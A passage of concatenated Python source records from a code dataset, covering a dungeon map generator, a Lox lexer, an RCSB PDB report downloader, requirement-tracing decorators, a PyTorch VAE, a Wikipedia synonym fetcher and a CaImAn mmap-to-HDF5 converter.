= list(possibleMap)\n if lineBefore == \"C\":\n newIndex = lineBeforeIndex\n else:\n newIndex -= 1\n if currentTile == \"C\":\n if (currentTile == primaryOption) or (currentTile == secondaryRoute and primaryRouteTried == True):\n primaryRouteTried = True\n possibleMap = self.exploreMap(\"left\", roomArray, newIndex)\n if possibleMap != False:\n exitFound = True\n roomArray = list(possibleMap)\n if lineBefore == \"S\":\n newIndex = lineBeforeIndex + 1\n newIndex = lineBeforeIndex\n if currentTile == \"S\" or currentTile == \"x\" or currentTile == \"X\":\n newIndex += 1\n elif currentTile == \"#\":\n exitFound = True\n elif currentTile == \".\":\n exitFound = True\n finishedMap = self.displayTheMap(roomArray, wallWidth, self.display)\n return finishedMap\n \n def displayTheMap(self, roomArray, wallWidth, displayNew):\n newLine = 0\n displayLine = \"\"\n tempRoomArray = list(roomArray) \n inRoom = False \n for index, tile in enumerate(tempRoomArray):\n if tile == \".\":\n tile = \" \"\n elif tile == \"x\":\n tile = \"x\"\n elif tile == \"C\":\n inRoom = True\n tile = \"|\"\n elif tile == \"E\":\n inRoom = False\n tile = \"|\"\n elif tile == \"T\":\n tile = \"-\"\n elif tile == \"F\":\n tile = \"-\"\n elif tile == \"S\":\n tile = \"|\"\n elif tile == \"Z\":\n tile = \"|\"\n if inRoom == True:\n tile = \"x\"\n if tile == \"-\" or tile == \"|\":\n tile = \"x\"\n if newLine == self.wallWidth + 1:\n newLine = 0\n displayLine = \"\"\n tempRoomArray[index] = tile\n displayLine += tile\n newLine += 1\n blocksLeft = self.blocksLeftToConnect(tempRoomArray)\n firstBlock = False\n foundAllPaths = False\n print(\"Finding Paths and Adding Walls\")\n while foundAllPaths == False:\n for index, tile in enumerate(tempRoomArray):\n if tile == \"x\":\n if firstBlock == False:\n firstBlock = True\n tempRoomArray[index] = \"o\"\n if self.closeBlock(\"o\",tempRoomArray,index) == True:\n tempRoomArray[index] = \"o\"\n if self.closeBlock(\"w\",tempRoomArray,index) == True:\n tempRoomArray[index] = \"o\"\n if tile == \" \":\n if self.aroundBlock(\"o\",tempRoomArray,index) == True:\n tempRoomArray[index] = \"*\"\n blocksToConnect = self.blocksLeftToConnect(tempRoomArray)\n if blocksLeft == blocksToConnect:\n foundAllPaths = True\n blocksLeft = blocksToConnect\n finishedMap = [[0 for x in range(self.wallHeight+5)] for x in range(wallWidth+1)]\n newLine = 0\n displayLine = \"\"\n y = 0\n print(\"Converting Map Format\")\n for tile in tempRoomArray:\n if tile == \"o\":\n tile = \"F\"\n elif tile == \"x\":\n tile = \" \"\n elif tile == \"*\":\n tile = \"w\"\n elif tile == \" \":\n tile = \" \"\n if newLine == self.wallWidth + 1:\n y += 1\n newLine = 0\n print(displayLine)\n displayLine = \"\"\n finishedMap[newLine][y] = tile\n displayLine += tile\n newLine += 1\n return finishedMap\n\n\n def aroundBlock(self, blockValue, tempRoomArray, currentPosission):\n y = len(tempRoomArray)\n if currentPosission >= y - self.wallWidth - 2:\n return False\n lineUp = currentPosission - self.wallWidth - 1\n lineDown = currentPosission + self.wallWidth + 1\n if currentPosission == 0:\n currentPosission = 1\n if lineDown >= y:\n lineDown = y - 1\n if lineUp <= 0:\n lineUp = 1\n if tempRoomArray[currentPosission] == \"#\":\n return False\n if blockValue == tempRoomArray[currentPosission+1] or blockValue == tempRoomArray[currentPosission-1]:\n return True\n if blockValue == tempRoomArray[lineDown] or blockValue == tempRoomArray[lineDown+1] or blockValue == tempRoomArray[lineDown-1]:\n return True\n elif blockValue == tempRoomArray[lineUp] or blockValue == tempRoomArray[lineUp+1] or blockValue == tempRoomArray[lineUp-1]:\n return True\n return False\n\n def closeBlock(self, blockValue, tempRoomArray, currentPosission):\n y = len(tempRoomArray)\n if currentPosission >= y - self.wallWidth - 2:\n return False\n lineUp = currentPosission - self.wallWidth - 1\n lineDown = currentPosission + self.wallWidth + 1\n if currentPosission == 0:\n currentPosission = 1\n if lineDown >= y:\n lineDown = y - 1\n if lineUp <= 0:\n lineUp = 1\n if tempRoomArray[currentPosission] == \"#\":\n return False\n if blockValue == tempRoomArray[currentPosission+1] or blockValue == tempRoomArray[currentPosission-1]:\n return True\n if blockValue == tempRoomArray[lineDown]:\n return True\n elif blockValue == tempRoomArray[lineUp]:\n return True\n return False\n\n \n def blocksLeftToConnect(self, tempRoomArray):\n x = 0\n for tile in tempRoomArray:\n if tile == \"x\":\n x += 1\n return x\n \n def exploreMap(self, direction, roomArray, startIndex):\n mapSide = False\n minHallSize = self.minHallSize\n maxHallSize = self.maxHallSize\n directionOffset = self.directionOffset\n originalTile = roomArray[startIndex]\n tempRoomArray = list(roomArray)\n if direction == \"up\":\n newIndex = startIndex - self.wallWidth - 1\n if direction == \"down\":\n newIndex = startIndex + self.wallWidth + 1\n if direction == \"left\":\n newIndex = startIndex - 1\n if direction == \"right\":\n newIndex = startIndex + 1\n mapComplete = False\n currentTile = \"\"\n while mapSide == False:\n currentTile = roomArray[newIndex]\n lineBeforeIndex = newIndex - self.wallWidth - 1\n lineAfterIndex = newIndex + self.wallWidth + 1\n lineBefore = roomArray[int(lineBeforeIndex)]\n if lineAfterIndex >= len(roomArray):\n lineAfterIndex = len(roomArray)-1\n lineAfter = roomArray[int(lineAfterIndex)]\n tileBeforeX = tempRoomArray[newIndex]\n tempRoomArray[newIndex] = \"x\"\n if direction == \"up\":\n primeIndex = lineBeforeIndex\n leftIndex = newIndex - 1\n rightIndex = newIndex + 1\n elif direction == \"down\":\n primeIndex = lineAfterIndex\n leftIndex = newIndex - 1\n rightIndex = newIndex + 1\n elif direction == \"right\":\n primeIndex = newIndex + 1\n leftIndex = lineBeforeIndex\n rightIndex = lineAfterIndex\n else:\n primeIndex = newIndex - 1\n leftIndex = lineAfterIndex\n rightIndex = lineBeforeIndex\n if currentTile == \"#\":\n mapSide = True\n elif currentTile == \"\":\n mapSide = True\n elif currentTile != \".\":\n mapSide = True\n mapComplete = True\n else:\n whichWay = random.randrange(0,directionOffset+3)\n if whichWay == 1:\n newIndex = leftIndex\n elif whichWay == 2:\n newIndex = rightIndex\n else:\n newIndex = primeIndex\n if mapComplete == True:\n tempRoomArray[newIndex] = tileBeforeX\n return tempRoomArray\n else:\n return False\n \n def update(self, display):\n updateSet = True\n","sub_path":"piablo/generateLevel.py","file_name":"generateLevel.py","file_ext":"py","file_size_in_byte":17482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"43688379","text":"from tokens import Types, Token, single_char_types, \\\n one_two_char_types, reserved_kw_types\n\nEOF = '\\0'\n\n\nclass LexicalError(Exception):\n def __init__(self, msg, line):\n super(LexicalError, self).__init__(msg, line)\n self.token = None\n self.line = line\n self.msg = msg\n\n\nclass Scanner:\n def __init__(self, lox):\n self.current = 0\n self.line = 1\n self.tokens = []\n self.lox = lox\n\n def is_at_end(self):\n return self.current > len(self.text) - 1\n\n def get_token(self, text, ttype, value=None):\n return Token(text, ttype, self.line, value)\n\n def peek(self):\n if self.current < len(self.text) - 1:\n return self.text[self.current + 1]\n else:\n return EOF\n\n def check(self, char):\n return self.peek() == char\n\n def match(self, *chars):\n return self.current_char in chars\n\n def reset(self):\n self.current = 0\n self.line = 1\n self.tokens = []\n\n def advance(self):\n char = self.current_char\n\n if self.current < len(self.text) - 1:\n self.current += 1\n self.current_char = self.text[self.current]\n if self.current_char == '\\n':\n self.line += 1\n elif self.current == len(self.text) - 1:\n self.current += 1\n self.current_char = EOF\n\n return char\n\n def advance_to_nonspace(self):\n while self.current_char.isspace():\n self.advance()\n return self.current_char\n\n def get_string(self):\n quote_mark = self.advance()\n s = \"\"\n while not self.match(quote_mark, EOF):\n s += self.advance()\n\n # Need to allow for escape characters\n if self.match(quote_mark):\n self.advance()\n return self.get_token(s, Types.STRING, s)\n else:\n raise LexicalError(\"Unterminated string\", self.line)\n\n def get_number(self):\n number = self.advance()\n while self.current_char.isdigit():\n # Concatenate to number string as long as we find digits\n number += self.advance()\n\n if self.match('.'):\n # If the first nondigit is a '.' then we have a floating point\n number += self.advance()\n while self.current_char.isdigit():\n number += self.advance()\n\n # If the nondigit is a space or EOF, then we return the token\n if self.current_char.isspace() or self.is_at_end() \\\n or self.current_char in single_char_types.keys() or \\\n self.current_char in one_two_char_types.keys():\n return self.get_token(number, Types.NUMBER, float(number))\n\n # Otherwise this is an invalid number so we raise a lexical error\n raise LexicalError(\n \"Invalid numeric character\", self.line\n )\n\n def get_alphanumeric(self):\n s = self.advance()\n while self.current_char.isalpha() or \\\n self.current_char.isdigit():\n # Note, don't need EOF check since \"\\0\" is not alphanumeric\n s += self.advance()\n\n if s in reserved_kw_types:\n type_key = reserved_kw_types.get(s)\n ttype = getattr(Types, type_key)\n return self.get_token(s, ttype)\n\n return self.get_token(s, Types.IDENTIFIER, s)\n\n def get_next_token(self):\n self.advance_to_nonspace()\n\n char = self.current_char\n result = \"\"\n type_map = one_two_char_types\n\n if char.isdigit():\n return self.get_number()\n\n if char.isalpha():\n return self.get_alphanumeric()\n\n if char in (\"\\\"\", \"\\'\"):\n return self.get_string()\n\n elif char in single_char_types:\n result = char\n type_map = single_char_types\n\n elif char in one_two_char_types:\n result = char + self.advance() if self.check('=') else char\n\n elif char == \"&\" and self.check(\"&\"):\n result = char + self.advance()\n\n elif char == \"|\" and self.check(\"|\"):\n result = char + self.advance()\n\n else:\n raise LexicalError(\n \"Invalid character {}\".format(self.current_char),\n self.line)\n\n type_key = type_map.get(result)\n ttype = getattr(Types, type_key)\n self.advance()\n return self.get_token(result, ttype)\n\n def tokenize(self, text):\n self.reset()\n self.text = text\n self.current_char = self.text[0]\n try:\n while self.current < len(self.text):\n token = self.get_next_token()\n self.tokens.append(token)\n return self.tokens\n except LexicalError as error:\n self.lox.lexical_error(error)\n","sub_path":"interpreter/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"61684345","text":"import copy\nimport csv\nimport json\nimport os\nimport urllib.request\nimport gzip\nimport modules.create_mr_set.utils.utils as utils\n\n_structures = None\n\nclass _Structure:\n def __init__(self, row):\n self.id = row[\"structureId\"]\n self.resolution = float(row[\"resolution\"])\n self.rwork = float(row[\"rWork\"])\n self.rfree = float(row[\"rFree\"])\n self.chains = {}\n\nclass _Chain:\n def __init__(self, row):\n self.id = row[\"chainId\"]\n #add those below as empty keys to dict below\n self.cluster95 = row[\"clusterNumber95\"]\n self.cluster90 = row[\"clusterNumber90\"]\n self.cluster70 = row[\"clusterNumber70\"]\n self.cluster50 = row[\"clusterNumber50\"]\n self.cluster40 = row[\"clusterNumber40\"]\n self.cluster30 = row[\"clusterNumber30\"]\n\n#def _get_structures(pdb_dir):\ndef _get_structures():\n\n # get PDB structures and write to csv file with column labels below\n # set \"_structures\" as global variable\n global _structures\n \n #structures_keys = [\"structureId\",\n # \"chainId\",\n # \"completeness\", #COMPLETED\n # \"highRes\", #RESOLUTION\n # \"rWork\", #RFACT\n # \"rFree\"] #RFREE\n\n download_columns = [\"entityMacromoleculeType\",\n \"experimentalTechnique\",\n \"resolution\",\n \"rWork\",\n \"rFree\",\n \"clusterNumber95\",\n \"clusterNumber90\",\n \"clusterNumber70\",\n \"clusterNumber50\",\n \"clusterNumber40\",\n \"clusterNumber30\",\n ] \n \n if not os.path.exists(\"pdb-chains.csv\"): \n download_custom_report(download_columns, \"pdb-chains.csv\")\n\n _structures = {} \n\n with open(\"pdb-chains.csv\") as f_1, open(\"pdb-chains-short.csv\", \"w\") as out_1:\n reader_1 = csv.reader(f_1)\n writer_1 = csv.writer(out_1)\n writer_1.writerow([\"structureId\",\n \"chainId\",\n \"entityMacromoleculeType\",\n \"experimentalTechnique\",\n \"resolution\",\n \"rWork\",\n \"rFree\",\n \"clusterNumber95\",\n \"clusterNumber90\",\n \"clusterNumber70\",\n \"clusterNumber50\",\n \"clusterNumber40\",\n \"clusterNumber30\",])\n for row in reader_1:\n #if \"X-RAY DIFFRACTION\" in row and \"Polypeptide(L)\" in row and row[1]==\"A\":\n if \"X-RAY DIFFRACTION\" in row and \"Polypeptide(L)\" in row: \n writer_1.writerow(row)\n \n pdb_lst = []\n with open(\"pdb-chains-short.csv\", newline=\"\") as f_2: \n for row in csv.DictReader(f_2):\n pdb_lst.append(row[\"structureId\"])\n\n\n with open(\"pdb-single-chains-short.csv\", \"w\", newline = \"\") as out_2a:\n writer_2a = csv.writer(out_2a)\n writer_2a.writerow([\"structureId\",\n \"chainId\",\n \"entityMacromoleculeType\",\n \"experimentalTechnique\",\n \"resolution\",\n \"rWork\",\n \"rFree\",\n \"clusterNumber95\",\n \"clusterNumber90\",\n \"clusterNumber70\",\n \"clusterNumber50\",\n \"clusterNumber40\",\n \"clusterNumber30\",])\n\n\n \n for e in pdb_lst:\n print(e)\n counter = 0\n with open(\"pdb-chains-short.csv\", newline=\"\") as f_3:\n# with open(\"pdb-chains-short.csv\", newline=\"\") as f, open(\"pdb-single-chains-short.csv\", \"w\") as out:\n# writer = csv.writer(out)\n# writer.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n\n for row in csv.DictReader(f_3):\n if row[\"structureId\"] == str(e):\n print(\"Found match for\", e)\n counter += 1\n print(counter)\n if counter > 1:\n print(\"more than 1 chain in\", e)\n \n if counter == 1:\n print(\"single entry for\", e) \n# with open(\"pdb-chains-short.csv\", newline=\"\") as f, open(\"pdb-single-chains-short.csv\", \"w\") as out:\n# with open(\"pdb-single-chains-short.csv\", \"w\", newline=\"\") as out_2:\n# writer_2 = csv.writer(out_2)\n# writer_2.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n\n \n with open(\"pdb-chains-short.csv\", newline=\"\") as f_4, open(\"pdb-single-chains-short.csv\", \"a\", newline=\"\") as out_3:\n #for row in csv.DictReader(f_4):\n reader_4 = csv.reader(f_4)\n writer_3 = csv.writer(out_3)\n# writer_3.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n\n for row in reader_4: \n #if row[\"structureId\"] == str(e):\n if str(e) in row:\n print(row)\n writer_3.writerow(row)\n #with open(\"pdb-single-chains-short.csv\", \"a\", newline=\"\") as out_3: \n # writer_3 = csv.writer(out_3)\n # writer_3.writerow(row)\n\n\n #writer = csv.writer(out)\n\n\n \n# if counter > 1:\n# print(\"more than 1 chain in\", e) \n \n# if counter == 1: \n# with open(\"pdb-single-chains-short.csv\", \"w\") as out:\n# writer = csv.writer(out)\n# writer.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n# \n# if counter == 1 and str(e) == row[\"structureId\"]:\n# print(row)\n \n \n \n\n# #with open(\"pdb-chains-short.csv\", newline=\"\") as f, open(\"pdb-single-chains-short.csv\", \"w\") as out:\n# with open(\"pdb-chains-short.csv\", newline=\"\") as f: \n# #reader = csv.reader(f)\n# #writer = csv.writer(out)\n# writer.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n# \n# \n#\n# #with open('filename.csv') as f:\n# data = list(csv.reader(f))\n# new_data = [a for i, a in enumerate(data) if a not in data[:i]]\n# with open(\"pdb-single-chains-short.csv\", \"w\") as out:\n# #with open('filename.csv', 'w') as t:\n# writer = csv.writer(out)\n# writer.writerow([\"structureId\",\n# \"chainId\",\n# \"entityMacromoleculeType\",\n# \"experimentalTechnique\",\n# \"resolution\",\n# \"rWork\",\n# \"rFree\",\n# \"clusterNumber95\",\n# \"clusterNumber90\",\n# \"clusterNumber70\",\n# \"clusterNumber50\",\n# \"clusterNumber40\",\n# \"clusterNumber30\",])\n#\n# writer.writerows(new_data)\n \n \n \n \n #print(pdb_lst)\n \n #counter = 0\n \n #for e in pdb_lst:\n # print(e)\n # print(reader)\n \n #for row in reader:\n # print(row)\n # # Check the first (0-th) column.\n # if row[0] == str(e):\n # # Found the row we were looking for.\n # counter += 1\n # print(counter)\n\n \n \n \n# search = findall(str(e), reader)\n# print(search)\n \n \n \n# print(e)\n# for row in csv.DictReader(f):\n# print(row)\n# if str(e) == row[\"structureId\"]:\n# #print(e)\n# counter += 1\n# print(counter)\n \n \n \n \n with open(\"pdb-single-chains-short.csv\") as f: \n for row in csv.DictReader(f):\n structure_id = row[\"structureId\"]\n chain_id = row[\"chainId\"]\n if structure_id not in _structures:\n _structures[structure_id] = _Structure(row)\n _structures[structure_id].chains[chain_id] = _Chain(row)\n\n# for subdirs, dirs, files in os.walk(pdb_dir):\n# for filename in files:\n# if filename == \"data.json\":\n# file_path = os.path.join(subdirs, filename)\n# pdb_name = str(file_path.split(\"/\")[-2].upper())\n# json_data = json.load(open(file_path))\n# with open(\"pdb-chains-short.csv\") as f:\n# for row in csv.DictReader(f):\n# if pdb_name == row[\"structureId\"]:\n# row[\"highRes\"] = json_data[\"RESOLUTION\"]\n# row[\"completeness\"] = json_data[\"COMPLETED\"]\n# row[\"rWork\"] = json_data[\"RFACT\"]\n# row[\"rFree\"] = json_data[\"RFREE\"]\n# print(row)\n \ndef download_custom_report(columns, path):\n \"\"\"Download a custom report for all structures in the PDB\"\"\"\n url = \"https://www.rcsb.org/pdb/rest/customReport.xml?pdbids=*&\"\n url += \"customReportColumns=%s&\" % \",\".join(columns)\n url += \"format=csv&service=wsfile\"\n urllib.request.urlretrieve(url, path)\n\n# This is my alternative; looking at structures of local PDB copy\n#def structures(pdb_dir):\ndef structures():\n \"\"\"Get a dictionary of X-ray structures with protein chains\"\"\"\n if _structures is None:\n #_get_structures(pdb_dir)\n _get_structures()\n return copy.deepcopy(_structures)\n\ndef cluster_number(structure_id, chain_id, cluster_level):\n \"\"\"Return the cluster number for an individual protein chain\"\"\"\n assert(cluster_level in {95, 90, 70, 50, 40, 30})\n if _structures is None: _get_structures()\n if structure_id in _structures:\n if chain_id in _structures[structure_id].chains:\n attr = \"cluster%d\" % cluster_level\n return getattr(_structures[structure_id].chains[chain_id], attr)\n","sub_path":"modules/create_mr_set/utils/rcsb.py","file_name":"rcsb.py","file_ext":"py","file_size_in_byte":11541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"387861799","text":"\n\nclass RequirementTrace(object):\n req_text = \"\"\n def __init__(self, text):\n self.req_text = text\n self.func_name = []\n\nRequirements = {}\n\ndef requirements(req_list):\n def wrapper(func):\n def add_req_and_call(*args, **kwargs):\n for req in req_list:\n if req not in Requirements.keys():\n raise Exception('Requirement {0} not defined'.format(req))\n Requirements[req].func_name.append(func.__name__)\n return func(*args, **kwargs)\n\n return add_req_and_call\n\n return wrapper\n\nwith open('pyTonaRequirements.txt') as f:\n for line in f.readlines():\n if '#00' in line:\n req_id, desc = line.split(' ', 1)\n Requirements[req_id] = RequirementTrace(desc)\n\n\n\nclass StoryTrace(object):\n req_text = \"\"\n def __init__(self, text):\n self.req_text = text\n self.func_name = []\n\nStories = {}\n\ndef stories(story_list):\n def wrapper(func):\n def add_story_and_call(*args, **kwargs):\n for story in story_list:\n if story not in Stories.keys():\n raise Exception('Story {0} not defined'.format(story))\n Stories[story].func_name.append(func.__name__)\n return func(*args, **kwargs)\n\n return add_story_and_call\n\n return wrapper\n\nwith open('pyTonaRequirements.txt') as f:\n for line in f.readlines():\n if '*00' in line:\n story_id, desc = line.split(' ', 1)\n Stories[story_id] = StoryTrace(desc)\n","sub_path":"cst236_lab6/tests/ReqTracer.py","file_name":"ReqTracer.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"543189905","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Mar 18 20:26:34 2018\r\n\r\n@author: Mathieu Daviet\r\n\"\"\"\r\nimport numpy as np\r\nimport get_data as gd\r\nimport manage_data as md\r\nimport pickle\r\n\r\ndef create_mean_input(type_data):\r\n if type_data == \"test\":\r\n X = gd.get_test_data()\r\n y = []\r\n if type_data == \"people\":\r\n X = gd.get_people_data()\r\n y = []\r\n if type_data == \"train\":\r\n [X, y] = gd.get_train_data()\r\n \r\n list_tracks = md.get_list_tracks(X)\r\n X_new = []\r\n y_new = np.zeros(len(list_tracks), dtype=int)\r\n for t in range(len(list_tracks)):\r\n X_mean = []\r\n for i in range(len(X)):\r\n if X[i][1] == list_tracks[t]:\r\n if len(X_mean) == 0:\r\n X_mean = [X[i][0]]\r\n else:\r\n X_mean = np.concatenate((X_mean, [X[i][0]]))\r\n if len(y)>1:\r\n y_new[t] = int(y[i])\r\n \r\n X_mean = np.mean(X_mean, axis = 0)\r\n if len(X_new) == 0:\r\n X_new = [[X_mean, list_tracks[t]]]\r\n else:\r\n X_new.append([X_mean, list_tracks[t]])\r\n if type_data == \"test\":\r\n with open('FaceRecongition_feature/Means/X_test', 'wb') as f:\r\n pickle.dump(X_new, f)\r\n if type_data == \"people\":\r\n with open('FaceRecongition_feature/Means/X_people', 'wb') as f:\r\n pickle.dump(X_new, f)\r\n if type_data == \"train\":\r\n with open('FaceRecongition_feature/Means/X_train', 'wb') as f:\r\n pickle.dump(X_new, f)\r\n with open('FaceRecongition_feature/Means/y_train', 'wb') as f:\r\n pickle.dump(y_new, f)\r\n\r\n\r\ncreate_mean_input(\"test\")\r\ncreate_mean_input(\"people\")\r\ncreate_mean_input(\"train\")","sub_path":"Model/create_mean_data.py","file_name":"create_mean_data.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"199583696","text":"import requests\n\nclass HttpRequest:\n '''接口请求类'''\n def __init__(self,url,params):\n self.url = url\n self.params = params\n\n def http_request(self, method, cookies = None):\n if method.upper == 'GET':\n try:\n res = requests.get(self.url, self.params, cookies=cookies)\n except Exception as e:\n print('执行get请求报错,错误是{}'.format(e))\n\n\n\n","sub_path":"test/zgh/requests/course_0114_requests/lianxi_request_class.py","file_name":"lianxi_request_class.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"588063566","text":"from torch import nn\nimport torch\nfrom torch.nn import functional as F\n\nclass Flatten(nn.Module):\n def forward(self, input):\n return input.view(input.size(0), -1)\n\nclass UnFlatten(nn.Module):\n def forward(self, input, size=1024):\n return input.view(input.size(0), size, 1, 1)\n\nclass VAE(nn.Module):\n def __init__(self, image_channels=3, h_dim=1024, z_dim=32):\n super(VAE, self).__init__()\n \n self.image_channels = image_channels\n self.h_dim = h_dim\n self.z_dim = z_dim\n \n # for encoder\n self.encoder = nn.Sequential(\n nn.Conv2d(self.image_channels, 32, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(32, 64, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(64, 128, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(128, 256, kernel_size=4, stride=2),\n nn.ReLU(),\n Flatten()\n )\n \n self.fc1 = nn.Linear(self.h_dim, self.z_dim)\n self.fc2 = nn.Linear(self.h_dim, self.z_dim)\n self.fc3 = nn.Linear(self.z_dim, self.h_dim)\n \n # for decoder\n self.decoder = nn.Sequential(\n UnFlatten(),\n nn.ConvTranspose2d(self.h_dim, 128, kernel_size=5, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(128, 64, kernel_size=5, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(64, 32, kernel_size=6, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(32, self.image_channels, kernel_size=6, stride=2),\n nn.Sigmoid(),\n )\n\n def encode(self, x):\n h1 = self.encoder(x)\n mu = self.fc1(h1)\n logvar = self.fc2(h1)\n return mu, logvar\n\n def reparameterize(self, mu, logvar):\n # 0.5 for square root (variance to standard deviation)\n std = torch.exp(0.5*logvar)\n eps = torch.randn_like(std)\n z = mu + eps*std\n return z\n\n def decode(self, z):\n z = self.fc3(z)\n z = self.decoder(z)\n return z\n\n def forward(self, x):\n mu, logvar = self.encode(x)\n z = self.reparameterize(mu, logvar)\n z = self.decode(z)\n return z, mu, logvar","sub_path":"09-VAEs/AIT_ICT/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"398410657","text":"import urllib.request, json\n\nclass synonym(str):\n \"\"\"\n The class is to turn a string (an underlined official name) into a list of synonuym\n \"\"\"\n def __init__(self, univ):\n \"\"\"\n this initial funciton is to define the university and the link.\n :param univ: university is in the form of string. eg: instead of 'Harvard institue', it is 'Harvard_institue'\n >>>uiuc = synonym('University_of_Illinois_at_Urbana%E2%80%93Champaign')\n >>>print(uiuc.name)\n University_of_Illinois_at_Urbana%E2%80%93Champaign\n >>>print(uiuc.link)\n https://en.wikipedia.org/w/api.php?action=query&blfilterredir=redirects&bllimit=max&bltitle=University_of_Illinois_at_Urbana%E2%80%93Champaign&format=json&list=backlinks\n >>>print(uiuc.list)\n ['University of Illinois at Urbana',\n ...\n 'U Illinois']\n\n \"\"\"\n self.name = univ\n self.link = \"https://en.wikipedia.org/w/api.php?action=query&blfilterredir=redirects&bllimit=max&bltitle=\" + self.name + \"&format=json&list=backlinks\"\n self.list = synonym.retrieval(self.link)\n\n @staticmethod\n def retrieval(link):\n \"\"\"\n import the link and return the list of synonym.\n :param link: The link containing the name of univ. eg: self.link\n :return: a list of all the synonym.\n \"\"\"\n with urllib.request.urlopen(link) as url:\n data = json.loads(url.read().decode())\n\n list_single = [];\n for i in range(len(data['query']['backlinks'])):\n list_single.append(data['query']['backlinks'][i]['title'])\n\n return list_single\n\n\nclass synonym_list(list):\n \"\"\"\n This class is to turn a list of university into a large dictionary.\n\n \"\"\"\n def __init__(self, list0):\n self.all_list = list0\n self.all_dict = {}\n for each in self.all_list:\n name = synonym_list.name_trans(each)\n single = synonym(name).list\n self.all_dict[each] = single\n\n\n @staticmethod\n def name_trans(each):\n \"\"\"\n This method is to turn the official name of each university / hospital into the underlined version\n :param each: standard name\n :return: underlined name\n \"\"\"\n each_re = each.replace(' ', '_')\n return each_re\n\n # def all2dict(self):\n # # self.all_dict = {}\n # for each in self.all_list:\n # name = synonym_list.name_trans(each)\n # single = synonym(name).list\n # self.all_dict[each] = single\n # return self.all_dict\n\n\ndef main():\n # uiuc = synonym('University_of_Illinois_at_Urbana%E2%80%93Champaign')\n # print(uiuc.name)\n # print(uiuc.link)\n # li=synonym.retrieval(uiuc.link)\n # print(uiuc.list)\n\n # name = synonym_list.name_trans('Stanford University')\n # stan = synonym(name)\n # print(stan.list)\n\n l=['Stanford University', 'Harvard University']\n test = synonym_list(l)\n print(test.all_list)\n print(test.all_dict) # the dictionary is in the format of one line, making it hard to detect which key is empty.\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"18sp/synonym.py","file_name":"synonym.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"126730731","text":"import h5py as hd\nimport numpy as np\nfrom tqdm import tqdm\nimport sys\nimport os\nfrom caiman import mmapping as mmp\n\n\ndef caiman_mmap_to_hdf(array_from_mmap, dims):\n\tmovie_by_frames = []\n\tfor frame in tqdm(range(np.shape(array_from_mmap)[1])):\n\t\tmovie_by_frames.append(array_from_mmap[:, frame].reshape([dims[1],dims[0]]).transpose())\n\tmovie_frames_array = np.array(movie_by_frames)\n\treturn(movie_frames_array)\n\ndef save_to_hdf(folder, mmap_fname, frames_to_save):\n\n\toutput_fname = (folder + '/' + mmap_fname.rstrip('.mmap') + '_resized.h5')\n\toutput_file = hd.File(output_fname, 'w')\n\tmovie = output_file.create_dataset('motion_corrected', data = frames_to_save)\n\toutput_file.close()\n\n\treturn(output_fname)\n\n\ndef convert_from_mmap(full_file_path):\n\tfolder_path, mmap_path = os.path.split(full_file_path)\n\tframes, dims, T = mmp.load_memmap(full_file_path)\n\tframes_array = np.array(frames)\n\toutput_fname = save_to_hdf(folder_path, mmap_path, frames_array)\n\tprint(mmap_path, 'done')\n\treturn()\n\ndef concat_convert_from_mmap(full_file_paths, reshape=True):\n\t\n\tfolder_path, mmap_path_start = os.path.split(full_file_paths[0])\n\tmmap_path_end = os.path.split(full_file_paths[-1])[1]\n\tmmap_path_out = mmap_path_start[:11] + mmap_path_end[:11]\n\tprint('starting chunk with', 